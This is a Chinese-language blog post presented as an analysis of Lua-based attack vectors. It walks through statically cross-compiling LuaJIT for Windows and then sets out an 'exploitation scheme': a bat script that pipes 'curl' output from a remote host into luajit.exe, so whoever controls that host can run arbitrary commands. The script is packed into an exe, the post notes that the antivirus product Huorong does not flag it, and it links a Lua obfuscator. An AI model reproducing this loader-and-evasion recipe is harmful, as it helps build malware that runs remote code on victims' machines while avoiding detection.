文章背景图

Lua攻击载体分析

2026-04-12
19
-
- 分钟
|

类似的载体攻击

  1. Windows | 利用Lua加载StealC v2窃密攻击活动分析
  2. 致命分身 | FakeGit 伪造开源生态投毒活动追踪
  3. GitHub托管的SmartLoader——伪装成合法项目感染用户
  4. PoetRAT:针对阿塞拜疆公共和私营部门的恶意软件不断演变
  5. Redline Stealer:一种新颖的方法
  6. Notepad++供应链攻击——未被察觉的执行链和新型入侵指标

LuaJIT

从github下载并编译,直接在根目录使用make编译:

  • Luajit
    • https://github.com/LuaJIT/LuaJIT

我是在Linux系统上交叉编译成windows的exe,以下示例均是Linux:

编译示例

# 安装编译工具链
apt install mingw-w64 mingw-w64-tools
 
# 交叉编译(在项目的目录里)
make HOST_CC="gcc" \
	CROSS="x86_64-w64-mingw32-" \
	TARGET_SYS=Windows \
	BUILDMODE=static \
	TARGET_DYNLIBS= \
	STATIC_CC="x86_64-w64-mingw32-gcc -static" \
	TARGET_LDFLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -static-libgcc -static-libstdc++ -Wl,--no-whole-archive" \
	CROSS_CFLAGS="-static -fno-use-cxa-atexit"
	
# 检查 DLL 依赖
x86_64-w64-mingw32-objdump -p src/luajit.exe | grep "DLL Name"
# 理想输出应该只有:
# DLL Name: KERNEL32.dll
# 不应该有:lua51.dll 等
# msvcrt.dll 是 Windows 的 C 运行时库,几乎所有 Windows 2000 后系统都自带。

放到 Windows 运行

Pasted image 20260411183612.png

# 命令行运行
luajit.exe a.txt

# 不一定是文本txt,是个文件就行 a.md a a.c a.h 等等

Pasted image 20260411184137.png

利用方案

方案一,本地主动连接

使用bat脚本

curl -s http://*:*/a.json | luajit.exe -

Pasted image 20260412212836.png
这样每次执行就访问http://*:*/a.json一次
通过修改a.json文件,执行命令
Pasted image 20260412213832.png

将bat打包成exe

Pasted image 20260412214102.png
luajit.exebat脚本放在同一个项目里
Pasted image 20260412214344.png

火绒无报毒

Pasted image 20260412214625.png

其他

#lua混淆  
https://wearedevs.net/obfuscator  
#反混淆  
https://github.com/0x251/Prometheus-Deobfuscator
评论交流

文章目录